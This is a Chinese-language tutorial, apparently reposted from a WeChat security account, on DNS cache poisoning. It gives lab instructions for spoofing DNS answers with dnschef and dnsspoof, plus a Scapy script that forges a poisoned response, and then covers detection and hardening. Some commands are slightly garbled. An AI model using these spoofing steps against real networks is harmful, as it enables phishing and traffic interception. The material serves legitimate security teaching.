域名系统 (DNS) 通常被称为“互联网电话簿”,可将人类可读的域名(例如example.com
)转换为机器可读的 IP 地址。虽然 DNS 必不可少,但它本身就容易受到多种攻击,其中最严重的攻击之一是DNS 中毒。
在本文中,我们将探讨 DNS 中毒机制、实用的利用技术以及保护 DNS 基础设施的策略。
1.什么是DNS中毒?
DNS 投毒(也称为DNS 缓存投毒)涉及将虚假 DNS 记录注入 DNS 解析器的缓存。这会将用户误导至恶意网站或拦截网络流量,从而导致网络钓鱼、恶意软件传播和数据窃取。
工作原理:
- 攻击者向解析器发送伪造的 DNS 响应。
- 解析器缓存恶意响应。
- 对受毒害域名的未来查询将被定向到攻击者控制的 IP。
2. 常见的 DNS 攻击
2.1 DNS 缓存投毒
- 目标:修改缓存的 DNS 记录以重定向用户。
- 示例:用户请求
bank.com
可能会被重定向到钓鱼网站。
2.2 DNS劫持
- 目标:控制 DNS 服务器或修改 DNS 配置。
- 示例:更改 DNS 设置以通过恶意服务器路由流量。
2.3 DNS放大(DDoS):
- 目标:使用 DNS 服务器放大流量并压倒目标。
- 技术:利用 UDP 的无连接特性和大型 DNS 响应。
2.4 DNS 隧道
- 目标:通过 DNS 查询窃取数据或进行秘密通信。
- 示例:在 DNS 请求中使用 base64 编码的数据来绕过防火墙。
3. 设置 DNS 攻击实验室
所需工具:
- Kali Linux(或任何渗透测试发行版)。
- dnschef:用于欺骗响应的 DNS 代理。
- dnsspoof:一种用于拦截和修改DNS流量的工具。
- Wireshark:用于数据包分析。
- Scapy:一个用于制作数据包的 Python 库。
实验室拓扑:
- 一台机器作为受害者(客户端)。
- 一台机器作为DNS服务器。
- 运行欺骗工具的攻击者机器。
4. 实用的 DNS 投毒技术
4.1 使用 dnschef 进行欺骗
- 安装 dnschef:
sudo apt install dnschef
2.开始欺骗DNS响应:
sudo dnschef --fakeip 192.168.1.100 --fakedomains example.com--fakeip 192.168.1.100 --fakedomains example.com
--fakeip
:重定向查询的 IP 地址。--fakedomains
:指定要欺骗的域。
3.验证中毒情况:在受害机器上:
dig example.com
- 输出应该显示虚假IP
192.168.1.100
。
4.2 使用 dnsspoof 进行投毒
- 安装 dnsspoof:
sudo apt install dnsspoof
2. 编辑 Hosts 文件hosts.txt
:创建一个包含以下内容的文件:
192.168.1.100 example.com
3. 启动 dnsspoof:
sudo dnsspoof -i eth0 -f hosts.txt
-i eth0
:指定网络接口。-f hosts.txt
:指向欺骗文件。
4. 监控受害者流量:受害者查询example.com
现在将被重定向到192.168.1.100
。
4.3 使用 Scapy 制作数据包
- 安装 Scapy:
sudo pip install scapy
2. 创建有毒的 DNS 数据包:
from scapy.allimport* dns_response = IP(dst = “192.168.1.2”,src = “8.8.8.8”)/ UDP(dport = 53,sport = 53)/ DNS(id = 0xAAAA,qr = 1,qd = DNSQR(qname = “example.com”), an = DNSRR(rrname = “example.com”,rdata = “192.168.1.100”))send(dns_response)
解释:
IP
:欺骗数据包的源 IP 和目标 IP。UDP
:模拟DNS协议。DNS
:构造恶意DNS响应。
5. 检测并预防 DNS 中毒
5.1 检测中毒反应
- 使用Wireshark:
- 过滤 DNS 流量:
DNS
2. 寻找异常,例如不匹配的源 IP 或意外的答案。
- 检查缓存记录:在 DNS 服务器上:
sudo rndc dumpdb-cache
- 检查缓存记录是否存在不一致。
5.2 预防措施
- 使用 DNSSEC:
- 使用加密签名确保 DNS 记录的真实性。
2.限制递归查询:
- 仅允许受信任的客户端进行递归 DNS 解析:
options { allow-recursion { trusted_networks; }; };
3.强化DNS服务器:
- 定期更新和修补 DNS 服务器软件。
- 禁用未使用的功能以减少攻击面。
4.启用速率限制:
- 限制 DNS 响应的数量以防止放大攻击。
5.监控DNS流量:
- 使用Zeek或Snort等工具来检测可疑的 DNS 模式。
6. DNS 中毒的现实影响
- 网络钓鱼:
- 将用户重定向到虚假登录页面以窃取凭证。
2.恶意软件传播:
- 从看似合法的域名提供恶意下载。
3.流量拦截:
- 将流量重定向到攻击者控制的服务器进行监视。
4.品牌损害:
- 受损的 DNS 记录可能损害公司的声誉。
7. 道德考量
- 仅在受控的实验室环境中或获得明确许可的情况下执行 DNS 攻击。
- 滥用 DNS 投毒技术是违法的,并可能导致严重后果。
结论
DNS 投毒仍然是一种强大的攻击媒介,因为它能够在用户不知情的情况下重定向用户。通过了解其机制并利用dnschef、dnsspoof和Scapy等工具,安全专业人员可以更好地评估和防御这些威胁。通过 DNSSEC、速率限制和强大的监控来加强 DNS 基础设施对于防止利用至关重要。
原文始发于微信公众号(KK安全说):DNS投毒与利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论